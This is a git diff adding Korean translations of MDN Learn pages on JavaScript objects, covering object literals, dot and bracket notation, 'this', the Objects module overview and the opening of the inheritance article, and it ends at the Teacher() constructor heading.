+ <p>이 부분에서 우리는 Javascript의 비동기적 실행이 왜 중요한지, 서버에서 리소스를 가져올때와 같은 시간지연을 유발하는 동작들을 어떻게 효과적으로 다룰지등에 대해 살펴봅니다.</p>
+ </dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs</a></dt>
+ <dd>클라이언트측의 웹사이트나 응용프로그램을 위해 JavaScript 를 작성하는 경우, 여러분은 브라우저와 운영체제 또는 다른 웹사이트의 데이터를 위한 API를 사용하기 전에 이상한 길에 빠지지 않을 겁니다. 이번 과정에서는 API 가 무엇인지, 그리고 개발 도중 자주 접하게 될 가장 보편적인 API들을 사용하는 방법에 대해 알아 볼 것입니다.</dd>
+</dl>
+
+<h2 id="일반적인_JavaScript_문제_해결">일반적인 JavaScript 문제 해결</h2>
+
+<p><a href="/ko/docs/Learn/JavaScript/Howto">JavaScript 를 이용한 보편적인 문제 해결</a> 은 웹페이지를 만들 때 발생하는 일반적인 문제들을 JavaScript 로 해결하는 방법에 대한 링크들을 제공합니다.</p>
+
+<h2 id="관련_항목">관련 항목</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript">JavaScript on MDN</a></dt>
+ <dd>JavaScript 의 핵심적인 문서입니다. 여기서 JavaScript 언어의 모든 측면에 대해 넓은 참조 문서들과 JavaScript 경험자들을 위한 심화 튜토리얼들을 찾을 수 있습니다.</dd>
+ <dt><a href="https://learnjavascript.online/">JavaScript 배우기</a></dt>
+ <dd>Web 개발자 지망생을 위한 훌륭한 자료  — 짧은 강좌와 대화형 테스트, 자동화된 평가로 지도하는 인터랙티브 환경에서 JavaScript를 배웁니다. 처음 40개 강좌 는 무료이며, 한번의 작은 금액 지불로 전체코스를 수강할 수 있습니다.</dd>
+ <dt><a href="https://exlskills.com/learn-en/courses/javascript-fundamentals-basics_javascript">EXLskills의 JavaScript 기초</a></dt>
+ <dd>EXLskills의 오픈소스 코스로 JavaScript를 무료로 배우세요 JS로 어플리케이션 제작을 시작하는데 필요한 모든것을 배울수 있습니다.</dd>
+ <dt><a href="https://www.youtube.com/user/codingmath">Coding math</a></dt>
+ <dd>프로그래머가 되기 위해 이해해야 하는 수학을 가르치는 훌륭한 비디오 튜토리얼 시리즈 by <a href="https://twitter.com/bit101">Keith Peters</a>.</dd>
+</dl>
diff --git a/files/ko/learn/javascript/objects/basics/index.html b/files/ko/learn/javascript/objects/basics/index.html
new file mode 100644
index 0000000000..4220f9bafc
--- /dev/null
+++ b/files/ko/learn/javascript/objects/basics/index.html
@@ -0,0 +1,268 @@
+---
+title: JavaScript 객체 기본
+slug: Learn/JavaScript/Objects/Basics
+tags:
+  - API
+  - this
+  - 객체
+  - 객체 리터럴
+  - 괄호 표기법
+  - 구문
+  - 배우기
+  - 이론
+  - 인스턴스
+  - 입문자
+  - 자바스크립트
+  - 점 표기법
+  - 코딩스크립트
+translation_of: Learn/JavaScript/Objects/Basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">이 글에서는 JavaScript 객체와 관련된 기본적인 문법을 살펴보고 이전 코스에서 학습해서 이미 알고 있는 JavaScript 의 특징들과 우리가 이미 사용하고 있는 기능들이 이미 객체와 관련되어 있다는 사실을 다시 한번 복습할 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 지식:</th>
+   <td>컴퓨터와 관련된 기본지식, HTML 과 CSS, 그리고 JavaScript 에 대한 기본 지식 (<a href="/ko/docs/Learn/JavaScript/First_steps">JavaScript 첫걸음</a> 및 <a href="/ko/docs/Learn/JavaScript/Building_blocks">JavaScript 구성요소</a> 참조).</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>객체지향 프로그래밍에 대한 기본 이론을 이해하고, JavaScript 에서 객체가 어떻게 처리되는지("대부분이 객체임") 학습 후, JavaScript 객체를 실제로 이용하는 방법에 대해 알게되는 것을 목표로 합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="객체_기본">객체 기본</h2>
+
+<p>객체는 관련된 데이터와 함수(일반적으로 여러 데이터와 함수로 이루어지는데, 객체 안에 있을 때는 보통 프로퍼티와 메소드라고 부릅니다)의 집합입니다. 예제를 통해서 실제 객체가 무엇인지 알아보도록 합시다.</p>
+
+<p>시작하기에 앞서, <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> 파일의 복사본을 로컬 환경에 만듭니다. 이 파일은 우리가 작성한 소스코드를 포함하는 작은 {{HTMLElement("script")}} 요소를 포함하고 있습니다. 우리는 기본 객체 문법을 탐구하기 위한 기반으로 이 파일을 사용할 것입니다. 예제를 제대로 따라하려면  반드시 <a href="/ko/docs/Learn/Common_questions/What_are_browser_developer_tools#The_JavaScript_console">개발자 도구 JavaScript 콘솔</a>을 열어두고, 몇몇 명령어를 직접 입력할 준비가 되어있어야 합니다.</p>
+
+<p>여타 JavaScript 의 요소들과 마찬가지로, 객체를 생성하는 것은 변수를 정의하고 초기화하는 것으로 시작합니다. 아래의 JavaScript 코드를 oojs.html 파일의 script tag 사이에 입력하고 저장 한 후, 리로드 해보세요.</p>
+
+<pre class="brush: js">var person = {};</pre>
+
+<p>이제 JS 콘솔에 <code>person</code> 을 입력하면 다음과 같은 결과를 보게됩니다.</p>
+
+<pre class="brush: js">[object Object]</pre>
+
+<p>축하합니다, 여러분은 벌써 첫 번째 객체를 생성하였습니다. 하지만 텅 빈 객체여서 우린 이걸로 뭘 할 수는 없습니다. 자, 이제 이 오브젝트를 다음과 같이 고쳐봅시다.</p>
+
+<pre class="brush: js">var person = {
+  name: ['Bob', 'Smith'],
+  age: 32,
+  gender: 'male',
+  interests: ['music', 'skiing'],
+  bio: function() {
+    alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.');
+  },
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name[0] + '.');
+  }
+};
+</pre>
+
+<p>저장 후 리로드 한 다음에 아래의 내용을 브라우저 개발자 도구의 JavaScript 콘솔에  입력해보세요.</p>
+
+<pre class="brush: js">person.name
+person.name[0]
+person.age
+person.interests[1]
+person.bio()
+person.greeting()</pre>
+
+<p>자, 이제 당신은 객체에 포함된 데이터와 함수를 갖게 되었으며, 이것들을 간단하고 멋진 문법을 통해 사용할 수 있게되었습니다!</p>
+
+<div class="note">
+<p><strong>Note</strong>: 만약 여기까지 진행하는데 어려움이 있다면, 제가 만들어놓은 파일과 비교해보세요 — <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (그리고 <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">실행되는 예제도 보세요</a>). Live 버전에서는 텅빈 화면만 보이겠지만, 그게 정상입니다 — 다시, 개발자도구를 열고 객체 구조를 들여다보기 위해 위에 언급된 명령어를 입력해보세요.</p>
+</div>
+
+<p>자, 이제 뭘 해볼까요? 객체는 각기 다른 이름(위의 예에서는 <code>name</code> 과 <code>age</code>)과 값(예제에서, <code>['Bob', 'Smith']</code> 과 <code>32</code>)을 갖는 복수개의 멤버로 구성됩니다. 한 쌍의 이름과 값은 ',' 로 구분되야 하고, 이름과 값은 ':' 으로 분리됩니다. 결국 문법은 아래와 같은 패턴이 됩니다.</p>
+
+<pre class="brush: js">var objectName = {
+  member1Name: member1Value,
+  member2Name: member2Value,
+  member3Name: member3Value
+};</pre>
+
+<p>객체를 구성하는 멤버의 값은 어떤 것이라도 될 수 있습니다. 우리가 만든 person 객체는 문자열, 숫자, 배열 두개와 두개의 함수를 가지고 있습니다. 처음 4개의 아이템은 데이터 아이템인데, 이걸 객체의 <strong>프로퍼티(속성) </strong>라고 부릅니다. 끝에 두개의 아이템은 함수인데 이 함수를 통해 데이터를 가지고 뭔가 일을 할 수 있게 됩니다. 이걸 우리는 <strong>메소드</strong> 라고 부릅니다.</p>
+
+<p>이런 객체는 객체 리터럴(<strong>object literal)</strong> 이라고 부릅니다. 객체를 생성할 때 컨텐츠를 그대로 대입합니다. 객체 리터럴은 클래스로부터 생성하는 방식과는 다릅니다. 이 방식은 뒤에서 살펴보게 될겁니다.</p>
+
+<p>객체 리터럴을 사용해서 객체를 생성하는 것은 연속된 구조체나 연관된 데이터를 일정한 방법으로 변환하고자 할 때  많이 쓰이는 방법입니다. 예를 들면 서버에게 주소를 데이터베이스에 넣어달라고 요청하는 경우입니다. 각 아이템들을 하나 하나 개별 전송하는 것보다, 하나의 객체를 전송하는 것이 훨씬 효율적입니다. 또 각 아이템들을 이름으로 구분해서 사용하기 원할 때도 배열을 사용하는 것보다 훨씬 쉽습니다.</p>
+
+<h2 id="점_표기법">점 표기법</h2>
+
+<p>위에서, 우리는 객체의 프로퍼티와 메소드를 <strong>점 표기법</strong>을 통해 접근했습니다. 객체 이름(person)은 <strong>네임스페이스</strong>처럼 동작합니다. 객체내에 <strong>캡슐화되어있는</strong>것에 접근하려면 먼저 점을 입력해야합니다. 그 다음 점을 찍고 접근하고자 하는 항목을 적습니다. 간단한 프로퍼티의 이름일 수도 있을 것이고, 배열의 일부이거나 객체의 메소드를 호출할 수도 있습니다.</p>
+
+<pre class="brush: js">person.age
+person.interests[1]
+person.bio()</pre>
+
+<h3 id="하위_namespaces">하위 namespaces</h3>
+
+<p>다른 객체를 객체 멤버의 값으로 갖는 것도 가능합니다. 예를 들면, 다음과 같은 name 멤버를 </p>
+
+<pre class="brush: js">name: ['Bob', 'Smith'],</pre>
+
+<p>아래와 같이 바꿔봅시다.</p>
+
+<pre class="brush: js">name : {
+  first: 'Bob',
+  last: 'Smith'
+},</pre>
+
+<p>자, 이제 우리는 성공적으로 <strong>하위 namespace</strong> 를 만들었습니다. 복잡해보이지만, 사실 그렇지도 않습니다. 이 속성을 사용하려면 그저 끝에 다른 점을 하나 찍어주기만 하면 됩니다. JS 콘솔에서 아래와 같이 입력해보세요.</p>
+
+<pre class="brush: js">person.name.first
+person.name.last</pre>
+
+<p><strong>중요</strong>: 객체의 속성이 바뀌었으니까, 기존 메소드 코드를 바꿔 줘야 합니다. 기존 코드를</p>
+
+<pre class="brush: js">name[0]
+name[1]</pre>
+
+<p>아래와 같이 바꿔줘야 합니다.</p>
+
+<pre class="brush: js">name.first
+name.last</pre>
+
+<p>그렇지 않으면 기존 메소드는 더 이상 동작하지 않을 것입니다.</p>
+
+<h2 id="괄호_표기법">괄호 표기법</h2>
+
+<p>객체의 프로퍼티에 접근하는 다른 방법으로 괄호 표기법을 사용하는 것이 있습니다. 다음과 같이 사용하는 대신</p>
+
+<pre class="brush: js">person.age
+person.name.first</pre>
+
+<p>이렇게 사용할 수 있습니다.</p>
+
+<pre class="brush: js">person['age']
+person['name']['first']</pre>
+
+<p>이런 방식은 배열 속에 있는 항목에 접근하는 방법과 매우 유사해 보이는데 실제로도 이는 기본적으로 동일한 것입니다. 한 항목을 선택하기 위해 인덱스 숫자를 이용하는 대신에 각 멤버의 값들과 연결된 이름을 이용합니다. 객체가 간혹 <strong>연관배열 (associative arrays</strong>)이라고 불리는 것이 당연합니다. 연관배열은 배열이 숫자를 값에 연결하는 것과 같은 방법으로 스트링을 값에 매핑합니다.</p>
+
+<h2 id="객체_멤버_설정하기">객체 멤버 설정하기</h2>
+
+<p>지금까지는 객체 멤버를 단순히 가져오기만(또는 <strong>반환</strong>) 했습니다. 설정할 멤버를 간단히 명시하여(점이나 대괄호 표기법을 사용) 객체 멤버의 값을 <strong>설정</strong>(갱신)하는 것도 물론 가능합니다.</p>
+
+<pre class="brush: js">person.age = 45;
+person['name']['last'] = 'Cratchit';</pre>
+
+<p>위의 코드를 입력한 다음, 객체 멤버값을 아래와 같이 다시 확인해봅시다.</p>
+
+<pre class="brush: js">person.age
+person['name']['last']</pre>
+
+<p>객체 멤버를 설정하는 것은 단순히 기존에 존재하는 프로퍼티나 메소드로 값을 설정하는 것 뿐 아니라, 완전히 새로운 멤버를 생성할 수도 있습니다. JS 콘솔에서 아래 내용을 입력해보세요.</p>
+
+<pre class="brush: js">person['eyes'] = 'hazel';
+person.farewell = function() { alert("Bye everybody!"); }</pre>
+
+<p>자, 이제 새로운 멤버를 테스트해보세요.</p>
+
+<pre class="brush: js">person['eyes']
+person.farewell()</pre>
+
+<p>대괄호 표현의 이점 중 하나는 멤버의 값을 동적으로 변경할 수 있을 뿐아니라, 멤버 이름까지도 동적으로 사용할 수 있다는 것입니다. 자, 만약 사용자가 두개의 텍스트 입력을 통해서 people 데이터에 커스텀 값을 넣고 싶어한다고 가정해봅시다. 그 값은 다음과 같이 얻어올 수 있을겁니다.</p>
+
+<pre class="brush: js">var myDataName = nameInput.value;
+var myDataValue = nameValue.value;</pre>
+
+<p>이제 <code>person</code> 객체에 다음과 같이 새 멤버의 이름과 값을 추가할 수 있습니다.</p>
+
+<pre class="brush: js">person[myDataName] = myDataValue;</pre>
+
+<p>자, 제대로 동작하는지 보려면 아래와 같이 <code>person</code> 객체에 대괄호를 붙여서 확인해보면 됩니다.</p>
+
+<pre class="brush: js">var myDataName = 'height';
+var myDataValue = '1.75m';
+person[myDataName] = myDataValue;</pre>
+
+<p>이제 저장하고 리로드후 아래코드를 입력해보세요.</p>
+
+<pre class="brush: js">person.height</pre>
+
+<p>점 표기법으로는 위의 예제처럼 멤버의 이름을 동적으로 사용할 수 없고, 상수 값만을 사용해야 합니다.</p>
+
+<h2 id="this_는_무엇인가">"this" 는 무엇인가?</h2>
+
+<p>자, 우리가 이제 보게될 메소드가 좀 이상하게 보일 수도 있을겁니다. 예제를 한번 봐주세요</p>
+
+<pre class="brush: js">greeting: function() {
+  alert('Hi! I\'m ' + this.name.first + '.');
+}</pre>
+
+<p>아마도 "this" 가 뭔지 의아하실 것입니다. <code>this</code> 키워드는 지금 동작하고 있는 코드를 가지고 있는 객체를 가리킵니다. 위의 예제에서 <code>this</code> 는 <code>person</code> 객체와 동일합니다. 그럼 왜 직접 <code>person</code> 객체를 쓰지 않은걸까요? 앞으로 보게될 <a href="/ko/docs/Learn/JavaScript/Objects/Object-oriented_JS">입문자를 위한 객체 지향 JavaScript</a> 문서에서 우리가 생성자를 공부하게 될 때, 혹은 그것 말고도 기타 등등의 상황에서 <code>this</code> 는 매우 유용하게 사용됩니다. 이 this 라는 녀석은 객체 멤버의 컨텍스트가 바뀌는 경우에도 언제나 정확한 값을 사용하게 해줍니다(예를 들어, 두개의 다른 <code>person</code> 객체가 각각 다른 이름으로 인스턴스로 생성된 상태에서 인사말을 출력하기 위해 객체의 name 을 참조해야 한다고 생각해보세요).</p>
+
+<p>간략화된 person 객체를 가지고 설명을 좀 해보겠습니다.</p>
+
+<pre class="brush: js">var person1 = {
+  name: 'Chris',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+
+var person2 = {
+  name: 'Brian',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}</pre>
+
+<p>이 예제에서, 메소드의 실제 코드는 완전히 동일하지만 <code>person1.greeting()</code> 은 "Hi! I'm Chris." 를 출력합니다. 반면 <code>person2.greeting()</code> 은 "Hi! I'm Brian." 을 출력하게 됩니다. 앞서 이야기한 것처럼, <code>this</code> 은 실행중인 코드가 속해있는 객체입니다. 객체 리터럴을 직접 지정해서 사용하는 경우라면 그리 유용하지 않겠지만, 동적으로 객체를 생성하는 경우(예를 들면 생성자를 사용하는 경우)에는 매우 유용합니다. 이 부분은 추후에 더 명확하게 이해가 될 겁니다.</p>
+
+<h2 id="객체를_줄곧_사용해_왔습니다">객체를 줄곧 사용해 왔습니다</h2>
+
+<p>예제코드를 따라하다보니, 이쯤 되면 슬슬 "점" 표기법을 사용하는 것이 꽤 자연스럽게 느껴질 것입니다. 물론 이 코스 내내 사용했기 때문입니다! 샘플에서 사용하였던 브라우저 내장 API 나 JavaScript 객체들은 실제로 우리가 공부했던 구조와 완전히 동일한 방법으로 구현된 것들입니다. 물론 우리가 봤던 예제보다 복잡하기는 합니다.</p>
+
+<p>자, 다음과 같이 String의 메소드를 사용했다고 가정합시다.</p>
+
+<pre class="brush: js">myString.split(',');</pre>
+
+<p><code><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code> 클래스의 인스턴스가 가진 메소드를 사용하고 있습니다. 코드에서 String 을 생성할 때 마다 <code>String</code> 의 인스턴스가 만들어지고, 그렇게 만들어진 인스턴스는 당연히 공통적으로 사용할 수 있는 메소드와 프러퍼티를 가집니다.</p>
+
+<p>아래와 같이 도큐먼트 오브젝트 모델(DOM)에 접근할때면,</p>
+
+<pre class="brush: js">var myDiv = document.createElement('div');
+var myVideo = document.querySelector('video');</pre>
+
+<p><code><a href="https://developer.mozilla.org/ko/docs/Web/API/Document">Document</a></code> 클래스의 인스턴스를 통해 메소드를 사용하고 있는 것입니다. 각 웹페이지가 로딩될 때, <code>Document</code> 인스턴스가 만들어지고, 전체 웹 페이지 구조와 컨텐츠 그리고 URL같은 기능들을  제공하는 <code>document</code> 가 호출됩니다. 다시 말하지만 이건 여러 공통 메소드와 프로퍼티들이 이 인스턴스를 통해 사용가능하게 됩니다.</p>
+
+<p>우리가 계속 사용해왔던 다른 내장 객체/API(<code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code> 등등)들도 마찬가지입니다</p>
+
+<p>모든 내장 객체/API가 자동으로 객체의 인스턴스를 생성하는 것은 아니라는 것에 주의 하세요. 예를 들어, <a href="/ko/docs/Web/API/Notifications_API">Notifications API</a> — 최근 브라우져들이 시스템 알림을 사용하게 하는 기능 — 는 사용자가 발생시시길 원하는 notification 만을 선택하게 하는 생성자를 사용해야 합니다. JavaScript 콘솔에 다음 내용을 입력해보세요</p>
+
+<pre class="brush: js">var myNotification = new Notification('Hello!');</pre>
+
+<p>다음 문서에서 생성자에 대해서 좀더 자세히 알아볼 것입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 객체간 통신은 <strong>message passing</strong> 방식을 사용한다고 생각하는게 좋습니다. 한 객체가 다른 객체에게 어떤 액션을 요청해야 하는 경우, 그 객체는 다른 객체가 가지고 있는 메소드를 통해서 메세지를 보내는 것이고, 응답을 기다리는 것입니다. 그 응답은 것이 우리가 알고 있는 return 값입니다.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>축하합니다, 첫 번째 JavaScript 객체 설명 문서를 끝까지 읽으셨습니다. 이제 여러분은 JavaScript 객체를 어떻게 활용하는지 이해하게 되었습니다. 간단한 사용자 정의 객체를 만드는 방법을 포함해서요. 또 객체는 데이터와 연관된 함수를 저장하는데 매우 유용한 구조라는 것도 알게 되었습니다. 만약 <code>person</code> 객체가 가지고 있는 모든 프로퍼티와 메소드를 따로 따로 분리된 변수와 함수로 구현하려고 한다면 그것이야 말로 비효율적이고 끔찍한 일이 될 것입니다. 변수명과 함수명들이 중복된다거나 하는 일도 비일비재 할 것입니다. 객체는 고유의 패키지에 우리의 정보를 안전하게 정보를 보호해주는 역활을 합니다.</p>
+
+<p>다음 장에서는 객체지향(OOP) 이론을 배우고, JavaScript 에서는 객체지향이 어떻게 사용되었는지 알아볼 것입니다.</p>
+
+<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="이_모듈_에서는">이 모듈 에서는</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript/Objects/Basics">객체 기본</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript/Objects/Object-oriented_JS">입문자를위한 객체 지향 JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript/Objects/Object_prototypes">객체 프로토타입</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript/Objects/Inheritance">JavaScript 에서의 상속</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript/Objects/JSON">JSON 데이터와 작업</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript/Objects/Object_building_practice">객체 생성 실습</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">bouncing balls demo 에 기능들 추가하기</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/objects/index.html b/files/ko/learn/javascript/objects/index.html
new file mode 100644
index 0000000000..9bdd5d8a66
--- /dev/null
+++ b/files/ko/learn/javascript/objects/index.html
@@ -0,0 +1,50 @@
+---
+title: JavaScript 객체 소개
+slug: Learn/JavaScript/Objects
+tags:
+  - 객체
+  - 배우기
+  - 입문자
+  - 자바스크립트
+  - 지침
+  - 코딩스크립트
+  - 평가
+translation_of: Learn/JavaScript/Objects
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary"> 자바스크립트에서는 스트링과 배열과같은 기본적인 기능부터 가장 상단에 놓여진 브라우저 API에 이르기까지 대부분의 것들이 객체입니다. 사용자는 관련된 함수들과 변수들을 효율적인 패키지로 추상화하거나 편리한 데이터 컨테이너로 작동하는 객체를 만들 수 있습니다. 언어에 대한 지식을 가지고 더 멀리 나아고자 한다면 자바스크립트의 객체 기반의 본질을 이해하는 것이 중요하므로, 여러분을 돕기위해 이 모듈을 제공하였습니다. 여기에서는 객체 이론과 구문을 자세히 가르쳐드리며, 사용자 정의 객체를 만드는 방법도 알아볼 것입니다.</p>
+
+<h2 id="사전_지식">사전 지식</h2>
+
+<p>이 장을 읽기 전에, 여러분은 HTML 과 CSS 를 어느 정도 알고 있어야 합니다. 그렇지 않다면 <a href="/ko/docs/Web/Guide/HTML/Introduction">HTML 소개</a>와 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a>를 먼저 읽고 오시기 바랍니다.</p>
+
+<p>JavaScript 객체에 대해 자세히 알아보려면, 기본 문법에 대해 어느 정도 능숙해야 합니다. 이 장을 읽기 전에 <a href="/ko/docs/Learn/JavaScript/First_steps">JavaScript 첫걸음</a>과 <a href="/ko/docs/Learn/JavaScript/Building_blocks">JavaScript 구성 요소</a>를 먼저 읽어보시기를 바랍니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 컴퓨터/태블릿/혹은 다른 디바이스 상에서 스스로 파일을 만들수 없는 환경이라면,  <a href="http://jsbin.com/">JSBin</a> 또는 <a href="https://thimble.mozilla.org/">Thimble</a> 과 같은 온라인 코딩 프로그램을 이용하여 (거의 모든) 예제 코드를 테스트해 보실 수 있습니다.</p>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects/Basics">객체 기본</a></dt>
+ <dd>JavaScript 객체 소개의 첫 장에서는, 기본적인 JavaScript 객체 문법을 볼 것이며, 이전 과정에서 이미 봐왔던 몇몇 JavaScript 특징들을 다시 들여다 볼 것입니다. 이를 통해 우리는 이전에 다루었던 많은 특징들이 사실상 객체였다는 사실을 알게 될 것입니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects/Object-oriented_JS">입문자를 위한 객체지향 자바스크립트</a></dt>
+ <dd>가장 기본적인 것으로, 우리는 객체 지향 JavaScript(OOJS) 에 초점을 둘 것입니다. 이 글에서는 객체 지향 프로그래밍(OOP) 이론의 기본 관점을 보여주고, JavaScript 가 생성자함수를 이용하여 객체 클래스를 에뮬레이트 하는 방법과 객체 인스턴스를 생성하는 방법에 대해 탐구합니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects/Object_prototypes">객체 프로토타입</a></dt>
+ <dd>프로토타입은 JavaScript 객체가 또다른 객체로 특성을 상속시키기 위한 메커니즘이고, 그것들은 고전적인 객체 지향 프로그래밍 언어들의 상속 메커니즘과 다르게 작동합니다. 이 글에서는 그 다름을 탐구하고, 프로토타입 체인이 동작하는 방식을 설명하며 프로토타입의 속성이 기본 생성자들로 메소드를 추가하기 위해 사용되는 방법을 보여줍니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects/Inheritance">자바스크립트에서의 상속</a></dt>
+ <dd>이제 OOJS 에 대한 대부분의 세부사항들에 대해서 설명이 되었으므로, 본 장에서는 "부모" 클래스로부터 특성을 상속받은 "자식" 오브젝트 클래스를 생성하는 방법을 보여줍니다. 뿐만 아니라, OOJS 를 언제 또는 어디서 사용하면 좋을 지에 대한 몇몇 조언도 기술되어있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects/JSON">JSON 데이터와 작업</a></dt>
+ <dd>JSON(JavaScript Object Notation) 은 JavaScript 객체 문법상의 구조화된 데이터를 표현하기 위한 표준 텍스트기반 포맷입니다. 그래서 주로 웹사이트 상에 데이터를 표현하고 전송하는 데 사용되고 있습니다(예를 들면, 웹페이지 상에 데이터를 디스플레이할 수 있도록 서버에서 클라이언트로의 데이터 전송). 이 글에서는 데이터에 접근하기 위해 JSON 을 파싱하고, 또 자신만의 JSON 을 작성하는 것처럼 자바스크립트를 사용하여 JSON 과 연동할 필요가 있는 모든 것들을 보여드릴 것입니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects/Object_building_practice">객체 생성 실습</a></dt>
+ <dd>이전 글들에서 우리는 JavaScript 객체 이론과 문법 세부사항의 중요한 것들을 보았습니다. 본 장에서는 커스텀 JavaScript 객체를 생성하는 다양한 연습을 하면서 실용적인 예들을 깊이 다룹니다.</dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Bouncing balls demo 에 기능들 추가</a></dt>
+ <dd>이 평가에서는 여러분이 이전 글의 bouncing balls demo 를 시작점으로 하여, 몇 가지 새롭고 재미있는 기능들을 추가하길 기대합니다.</dd>
+</dl>
diff --git a/files/ko/learn/javascript/objects/inheritance/index.html b/files/ko/learn/javascript/objects/inheritance/index.html
new file mode 100644
index 0000000000..72a2302d15
--- /dev/null
+++ b/files/ko/learn/javascript/objects/inheritance/index.html
@@ -0,0 +1,394 @@
+---
+title: Inheritance in JavaScript
+slug: Learn/JavaScript/Objects/Inheritance
+translation_of: Learn/JavaScript/Objects/Inheritance
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">OOJS에 대한 온갖 잡지식을 설명했으니, 이 글에서는 부모 클래스에서 자식 클래스를 상속하는 방법을 알아봅니다. 덤으로 OOJS를 구현하는데 몇 가지 참고사항도 있습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수조건:</th>
+   <td>컴퓨터 기본지식, HTML과 CSS에 대한 기본적인 이해,자바스크립트에 어느 정도 익숙할 것 (see <a href="/ko/docs/Learn/JavaScript/First_steps">First steps</a> and <a href="/ko/docs/Learn/JavaScript/Building_blocks">Building blocks</a>).  OOJS 기초 지식 (see <a href="/ko/docs/Learn/JavaScript/Objects/Basics">Introduction to objects</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>Javascript에서 상속을 구현하는 법을 이해합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="프로토타입_상속">프로토타입 상속</h2>
+
+<p>지금까지 몇 가지 상속을 살펴보았습니다 — 프로토타입 체인이 어떻게 동작하는지, 체인을 통해 멤버들을 탐색하는 것도 보았죠. 하지만 이는 대부분 브라우저가 알아서 처리하는 로직이었습니다. 그러면 우리가 직접 객체를 생성하고 상속하려면 어떻게 해야 할까요?</p>
+
+<p>실질적인 예제를 통해 알아보도록 합시다.</p>
+
+<h2 id="시작하기">시작하기</h2>
+
+<p>먼저 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a>를 다운 받으시고 (<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">running live</a> 페이지도 보시구요). 파일 내에서 이전 예제에서 계속 봐 왔던 <code>Person()</code> 생성자를 보실 수 있습니다 — 생성자에 속성 몇 개를 정의했기에 조금 다릅니다:</p>
+
+<pre class="brush: js">function Person(first, last, age, gender, interests) {
+  this.name = {
+    first,
+    last
+  };
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+};</pre>
+
+<p>메소드는 <em>전부</em> 아래처럼 prototype에 정의되어 있습니다:</p>
+
+<pre class="brush: js">Person.prototype.greeting = function() {
+  alert('Hi! I\'m ' + this.name.first + '.');
+};</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 소스 코드에는 <code>bio()와</code> <code>farewell()</code>메소드가 정의되어 있습니다. 잠시 후에 다른 생성자로 어떻게 상속하는지 알아보도록 합시다.</p>
+</div>
+
+<p>객체 지향에 대해 처음 정의할 때 언급했었던 <code>Teacher</code> 클래스를 만들어 봅시다. <code>Person</code>을 상속받고 아래 몇 가지를 추가해서요:</p>
+
+<ol>
+ <li><code>subject</code> 속성 — 교사가 가르치는 과목을 나타냅니다.</li>
+ <li>기존의 <code>greeting()</code> 보다 조금 더 공손한 인사를 하는 메소드  — 교사가 학생들에게 건넬 만한 표현으로 하죠.</li>
+</ol>
+
+<h2 id="Teacher()_생성자_함수_정의">Teacher() 생성자 함수 정의</h2>
+
